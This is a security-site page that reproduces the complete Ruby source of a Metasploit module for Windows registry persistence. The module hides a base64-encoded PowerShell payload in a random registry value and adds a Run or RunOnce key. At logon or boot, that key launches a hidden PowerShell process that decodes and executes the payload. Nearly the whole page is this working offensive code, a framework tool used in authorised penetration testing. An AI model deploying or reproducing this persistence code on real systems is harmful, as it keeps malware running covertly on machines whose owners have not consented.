METASPLOIT

Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-

Description

This module will install a payload that is executed during boot. It will be executed either at user logon or system...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-
Published Oct 27, 2025 at 18:58

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::Powershell
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/registry_persistence'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Registry Only Persistence',
'Description' => %q{
This module will install a payload that is executed during boot.
It will be executed either at user logon or system startup via the registry
value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
The payload will be installed completely in registry.
},
'License' => MSF_LICENSE,
'Author' => [
'Donny Maasland <donny.maasland[at]fox-it.com>', # original module
'h00die',
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [
[ 'Automatic', {} ]
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']
],
'DefaultTarget' => 0,
'DisclosureDate' => '2015-07-01',
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options([
OptEnum.new('STARTUP',
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
OptString.new('BLOB_REG_KEY',
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
OptString.new('BLOB_REG_NAME',
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
OptString.new('RUN_NAME',
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
OptInt.new('SLEEP_TIME',
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
])
end

def generate_payload_blob
opts = {
wrap_double_quotes: true,
encode_final_payload: true
}
cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]
end

def generate_cmd(root_path, blob_key_name, blob_key_reg)
"%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
end

def generate_blob_reg
blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
return blob_reg_key, blob_reg_name
end

def generate_cmd_reg
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
end

def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
new_key = false
if !registry_enumkeys(blob_reg_key)
unless registry_createkey(blob_reg_key)
fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")
end
print_good("Created registry key #{blob_reg_key}")
new_key = true
end

unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')
fail_with(Failure::Unknown, 'Failed to open the registry key for writing')
end
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
return new_key
end

def regkey
datastore['REG_KEY']
end

def install_cmd(cmd, cmd_reg, root_path)
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
fail_with(Failure::Unknown, 'Could not install run key')
end
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
end

def get_root_path
return 'HKCU' if datastore['STARTUP'] == 'USER'

'HKLM'
end

def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
if new_key
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
end
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
end

def check
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')

vprint_good('Powershell detected on system')

# test write to see if we have access
root_path = get_root_path
rand = Rex::Text.rand_text_alphanumeric(15)

vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?

registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")

Msf::Exploit::CheckCode::Vulnerable('Registry writable')
end

def install_persistence
print_status('Generating payload blob..')
blob = generate_payload_blob
print_good("Generated payload, #{blob.length} bytes")

root_path = get_root_path
print_status("Root path is #{root_path}")

blob_reg_key, blob_reg_name = generate_blob_reg
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
cmd_reg = generate_cmd_reg

print_status('Installing payload blob..')
new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)

print_status('Installing run key')
install_cmd(cmd, cmd_reg, root_path)

create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
end
end

๐Ÿ’ญ Join the Security Discussion

๐Ÿ”’ Your email address will not be published. Required fields are marked *

โš ๏ธ Please be respectful and constructive in your comments. Security discussions should remain professional.